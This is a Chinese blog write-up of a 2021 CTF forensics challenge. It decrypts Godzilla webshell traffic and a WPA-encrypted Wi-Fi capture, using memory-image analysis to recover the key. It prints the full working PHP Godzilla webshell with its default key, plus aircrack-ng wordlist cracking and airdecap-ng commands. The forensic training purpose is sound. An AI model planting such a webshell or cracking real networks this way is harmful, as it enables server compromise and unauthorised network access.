首页 > 其他分享 >[陇剑杯 2021]wifi WP

[陇剑杯 2021]wifi WP

时间:2024-08-13 20:24:33浏览次数:6  
标签:陇剑杯 wifi 哥斯拉 base64 2021 key pass encode GUID

9.1小王往upload-labs上传木马后进行了cat /flag,flag内容为_____________。(压缩包里有解压密码的提示,需要额外添加花括号)

附件信息:
在这里插入图片描述

拿到附件

先看服务器.pcapng

可以发现只有发出去的包,且为哥斯拉php_eval_xor_base64流量

在这里插入图片描述

哥斯拉php_eval_xor_base64流量是3.0才更新的php连接方式,其目的是为了支持普通的一句话eval($_POST[1])。不过其本质就是利用pass参数传了一个php_xor_base64哥斯拉马罢了,所以流量特征和php_xor_base64类似。

https://www.freebuf.com/sectool/285693.html

这篇文章很好的分析了哥斯拉的特征和解密方法。

这里由于只有Request,我们的目的是获取cat /flag的内容,肯定在返回包里,所以解密Request没意义,只要记下密码pass,密钥key均为哥斯拉默认的即可。

在这里插入图片描述

OÙJ(”DMI	
ÌýÀÕ:KsPDÉC'¤
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
yÚyÙkº÷«®Ûv‡wŽž±¦åj÷²Æ©

$key = 3c6e0b8a9c15224a

然后我们分析客户端.cap

在这里插入图片描述

是无线局域网的流量,而且我们发现SSID为

My_Wifi

这里的SSID我们还可以使用aircrack-ng 来查看

aircrack-ng 客户端.cap

在这里插入图片描述

WPA的密码我们尝试使用airdecap-ng来爆破密码

aircrack-ng 客户端.cap -w ../../../CTF/directionary/WPA-dirc/common.txt

当然字典爆破都试过了,没有找到密码,我们想到附件中还有一个内存镜像。我们

最后分析Windows 7-dde00fa9.vmem,还是找文件

这里我们主要是找WPA的密码

vol -f Windows\ 7-dde00fa9.vmem --profile=Win7SP1x86_23418 filescan | grep -E -i "zip|txt|rar|7z|gz|doc|png|jpg"

我们看到有用的信息就给它dump下来

最后发现My_Wifi.zip是一个加密文件

使用Windows中的压缩文件管理工具我们可以发现,下方有个提示:密码是网络适配器的GUID

在这里插入图片描述

那么什么是GUID呢?我们去网上搜索什么是GUID,Windows如何查看GUID

在Windows的注册表中的这个路径存放着GUID。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}

或者我们通过命令查看本地的GUID格式

getmac /V /S 127.0.0.1

GUID的格式通常是一串包含字母和数字的长字符,类似于**{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}**。

同样我们也可以根据这个GUID查找在注册表中的位置

这种com格式字符串很有可能在windows文件系统或者注册表中,在自己电脑上搜一下。

在这里插入图片描述

那么在内存取证工具volatility中用Interfaces关键字去定位

在这里插入图片描述

然后找到网络适配器的GUID。接着使用GUID 去解密压缩包

在这里插入图片描述

找到了无线流量的密码

然后我们使用airdecap-ng去解密无线流量

airdecap-ng 客户端.cap -p 233@114514_qwe -e My_Wifi -o 客户端_decode_.cap

在这里插入图片描述

我们接着去分析解密之后的哥斯拉流量

前后各16位的md5,中间夹着base64异或流量,典型的哥斯拉特征。和之前的服务器发起包对应起来了

在这里插入图片描述

我们跟踪到最后一个http流量包里面的内容就是flag

在这里插入图片描述

使用解密脚本,并注意删除前后混淆的16位md5值

在这里插入图片描述


标签:陇剑杯,wifi,哥斯拉,base64,2021,key,pass,encode,GUID
From: https://blog.csdn.net/m0_68483928/article/details/141172816

相关文章

  • P7561 [JOISC 2021 Day2] 道路の建設案 (Road Construction)
    这篇文章主要讲一下问什么要二分以后还要check(l-1),以及怎么找距离小于等于\(k\)的边的数量。题目给定\(n\)个点,求出任意两个点的曼哈顿距离的集合的前\(k\)大。思路我们先将曼哈顿距离转化为切比雪夫距离:我们知道形如\((x,y)\)点之间的曼哈顿距离等于\((x+y,......
  • 修片神器Adobe Photoshop 2021 ACR14.3 一键直装特别版
    AdobePhotoshop2021版本目前已经出来了,总体变化不大,软件最大的不同就是启动图标了,能让人一眼就看出来你用的是2021版本。软件更注重智能,提供了AI的功能。不过说实话,这些功能,国内很多的软件就已经提供了,不过Adobe家做的更强。Photoshop以其强悍的编辑和调整、绘图等功能得到......
  • 三维建模神器:Revit2021怎么下载安装?Revit2021版图文安装教程
    Revit是一款专门为建筑信息模型(BIM)构建的,可以帮助建筑设计师设计、建造和维护质量更好、更高效的建筑,也是现在建筑行业必备的软件之一,现在已经更新了2021的版本,我拿到之后进行了测试,发现还不错,今天我们就来看看Revit2021版本的下载安装方法,详细请看下文图文介绍。软件安装包......
  • UOJ #712. 【北大集训2021】简单数据结构
    Description你有一个长度为\(n\)的序列\(a\),下面你要进行\(q\)次修改或询问。给定\(v\),将所有\(a_i\)变为\(\min(a_i,v)\)。将所有\(a_i\)变为\(a_i+i\)。给定\(l,r\),询问\(\sum_{i=l}^ra_i\)。\(1\leqn,q\leq2\times10^5,0\leqa_i,v_i\leq10^{12}......
  • 没有Rfkill情况设置Wifi启用
    网络镜像安装系统时CTRL+ALT+F3切换到命令行模式.echo"1">/sys/class/Rfkill/rfkill0/state进行启用该设备。echo1>会出错。state是状态,type会显示是wifi还是bluetooth,一般wifi有两个设备,一个是物理设备另一个是虚拟软件设备。只有上面完成了才能通过iplinksetdevi......
  • 自定义View-- wifi强度
    自定义View和自定义属性的基本步骤:自定义View:1.创建一个自定义View类:首先,你需要创建一个继承自View或其子类(如ImageView、Button等)的Java类。这个类将代表你的自定义View,并负责绘制和处理用户交互。2.重写onDraw方法:在自定义View类中,你通常会重写onDraw方法来定义如何绘制你......
  • 2021年庐阳区青少年信息学科普日真题- 跳跃(jump)
    题目描述猴子的正上方,每1米处,都有一个桃子,一共有N个桃子,每个桃子都有其能量值,摘下这个桃子吃下就获得了这个能力值。猴子每跳1米会消耗1个点能量,在能量值允许的下,它可以跳到任何一个可以到达的高度,并且将这个高度及以下高度的桃子摘下吃掉。确保猴子初始的能量一定可以摘下......
  • Windows 10 WIFI 驱动降级安装
    #卸载WIFI驱动由于不小心下载了一个高版本不兼容我电脑的无线驱动,导致我在设备管理器那里也找不到它,因此也无法卸载它。但之后我找到了一个方法可以卸载:在安装旧的驱动时,会提示已经有最新版本被安装,它弹出一个日志文件,在日志文件(Intel®_Software_Installer_20240808221810.log)......
  • openwifi遇到的问题收集
    这边还是简单记一下步骤1、首先是下载openwifi-hwgitclone--recursivehttps://github.com/open-sdr/openwifi-hw2、配置vivado环境变量source/tools/Xilinx/Vivado/2021.1/settings64.sh3、在.bashrc里面配置加一些变量exportXILINX_DIR=/tools/XilinxexportBOARD_N......
  • [EC Final 2021] Vision Test
    挺牛题,没做出来,但是参考了Rainbow博客之后发现这些套路自己其实都会啊QwQ。我提交的翻译:给定一个长度为\(n\)的数组\(x\),接下来你有\(q\)次询问。第\(i\)次询问给出一个区间\(l,r\),设\(k=r-l+1\),你提取出\(x\)数组下标在\(l,r\)之间的区间\(y_i=x_{i+l}(0\le......